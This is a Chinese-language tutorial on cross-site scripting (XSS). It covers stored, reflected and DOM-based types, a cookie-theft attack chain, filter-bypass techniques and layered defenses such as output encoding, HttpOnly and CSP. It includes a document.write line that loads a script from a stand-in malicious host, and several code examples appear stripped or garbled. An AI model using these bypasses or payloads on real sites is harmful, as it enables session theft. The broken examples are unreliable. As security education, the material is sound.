摘要:XSS(Cross-Site Scripting,跨站脚本攻击)是攻击者将恶意JavaScript脚本注入到网页中,并由用户浏览器执行的攻击手段,核心是利用“浏览器信任网页内容”的特性,本质是“前端代码注入”,而非传统的服务器端漏洞。
XSS(Cross-Site Scripting,跨站脚本攻击)是攻击者将恶意JavaScript脚本注入到网页中,并由用户浏览器执行的攻击手段,核心是利用“浏览器信任网页内容”的特性,本质是“前端代码注入”,而非传统的服务器端漏洞。
一、XSS的三大核心类型(附对比)
XSS的核心差异在于“恶意脚本是否经过服务器”及“是否持久化”,按传播路径可分为三类,实际攻击中需针对性检测:
类型 传播路径 存储位置 触发条件 典型场景 危害等级
存储型XSS(持久化) 攻击者注入 → 服务器存储 → 所有用户访问页面时加载执行 服务器数据库/文件 所有访问该页面的用户自动触发(一次性注入,多次触发) 评论区、留言板、用户资料、商品描述 ⭐⭐⭐⭐⭐(影响范围广、持久化)
反射型XSS(非持久化) 攻击者构造含脚本的URL → 用户点击URL → 服务器将脚本“反射”回页面 → 浏览器执行 仅存在于URL参数/请求参数中 仅点击恶意URL的用户触发(一次性,需诱导点击) 搜索框、URL参数展示页(如“您搜索的关键词是:XXX”) ⭐⭐⭐(影响范围窄、需诱导)
DOM型XSS(前端触发) 攻击者构造含脚本的URL参数 → 用户浏览器解析URL → 前端JS直接用参数操作DOM → 脚本执行 浏览器URL/本地存储(不经过服务器) 点击恶意URL后,前端JS主动执行(服务器无感知) 用 location.hash / document.URL 动态渲染页面(如单页应用URL参数渲染内容) ⭐⭐⭐⭐(服务器无法拦截,隐蔽性强)
二、XSS的攻击原理(以“存储型XSS”为例拆解)
以“论坛评论区”场景为例,完整攻击链路可分为4步:
1. 注入:攻击者在评论区提交内容 alert(document.Cookie) ;
2. 存储:服务器未过滤该内容,直接将带脚本的评论存入数据库;
3. 渲染:其他用户打开该论坛页面时,服务器从数据库读取评论,拼接成HTML返回给用户浏览器(此时脚本已包含在页面源码中);
4. 执行:用户浏览器解析HTML时,认为该 是合法页面代码,直接执行,导致攻击者获取该用户的Cookie(进而可能冒充用户登录)。
三、XSS的核心危害(远超“弹窗恶作剧”)
1. 前端控制权劫持:
- 篡改页面内容(如伪造“登录失效”提示,诱导用户重新输入账号密码);
- 伪造DOM元素(如在页面底部隐藏钓鱼登录框,窃取用户输入)。
2. 敏感数据窃取:
- 读取Cookie(若未设 HttpOnly ,可直接获取 document.cookie ,冒充用户身份);
- 读取 localStorage / sessionStorage 中的用户信息;
- 注入键盘记录脚本(监听 keydown 事件,记录用户输入的密码、手机号)。
3. 横向攻击(“借刀杀人”):
- 利用用户权限操作页面(如已登录的管理员触发XSS,脚本可自动发布恶意评论、删除内容);
- 发起CSRF攻击(通过XSS获取页面中的CSRF令牌,再构造恶意请求,执行转账、改密码等操作)。
4. 持久化控制:
- 注入“websocket反向连接脚本”,让用户浏览器主动连接攻击者服务器,实现长期控制(如实时监控页面操作)。
四、XSS的典型绕过技巧(攻击方常用手段)
为躲避应用的输入过滤,攻击者会通过“变形脚本”绕过检测,核心思路是“让浏览器识别为脚本,同时让过滤规则无法识别”:
- 标签变形:不用
,改用其他可执行脚本的标签,如 (图片加载失败时执行 onerror 事件)、 点击 ;
- 字符编码:将脚本关键词编码(如URL编码、Unicode编码),如 alert(1) 编码为 alert(1) ,服务器过滤不识别,但浏览器会自动解码执行;
- 事件触发:利用HTML元素的事件属性(如 onload 、 onclick 、 onmouseover ),绕开对 标签的过滤;
- 框架嵌套:通过 加载外部恶意页面,或用 document.write 动态生成脚本(如 document.write('\x3Cscript src=http://xxx.com/evil.js\x3E\x3C/script\x3E') )。
五、XSS的防护方案(从“前端+后端+浏览器”三层防护)
防护核心是“让恶意脚本无法注入,或注入后无法执行”,需多维度配合:
1. 后端:输入过滤与输出编码(根源防护)
- 对用户输入的特殊字符(如 、 ' 、 " 、 & )进行转义(如将
- 使用安全的模板引擎(如React/Vue会自动转义HTML,Java的Thymeleaf、Python的Jinja2),禁止直接用 innerHTML / document.write 拼接用户输入。
2. 前端:DOM操作安全(针对DOM型XSS)
- 禁止用 innerHTML 、 outerHTML 处理不可信输入,改用 textContent (仅渲染文本,不解析HTML);
- 若需动态渲染URL参数,先对参数进行编码(如 encodeURIComponent ),避免直接用 location.hash 拼接DOM。
3. 浏览器:安全属性与策略(兜底防护)
- 给Cookie设置 HttpOnly 属性(禁止JS读取Cookie,从根源阻止Cookie窃取)和 Secure 属性(仅HTTPS传输);
- 配置CSP(内容安全策略):通过HTTP响应头 Content-Security-Policy 限制脚本来源(如 script-src 'self' ,仅允许加载本站脚本),直接阻止外部恶意脚本执行(目前最有效的兜底方案)。
我可以帮你整理一份XSS漏洞测试用例清单,包含存储型、反射型、DOM型的具体测试代码(如事件触发、编码绕过等场景),方便你在测试中直接使用。
来源:小项科技view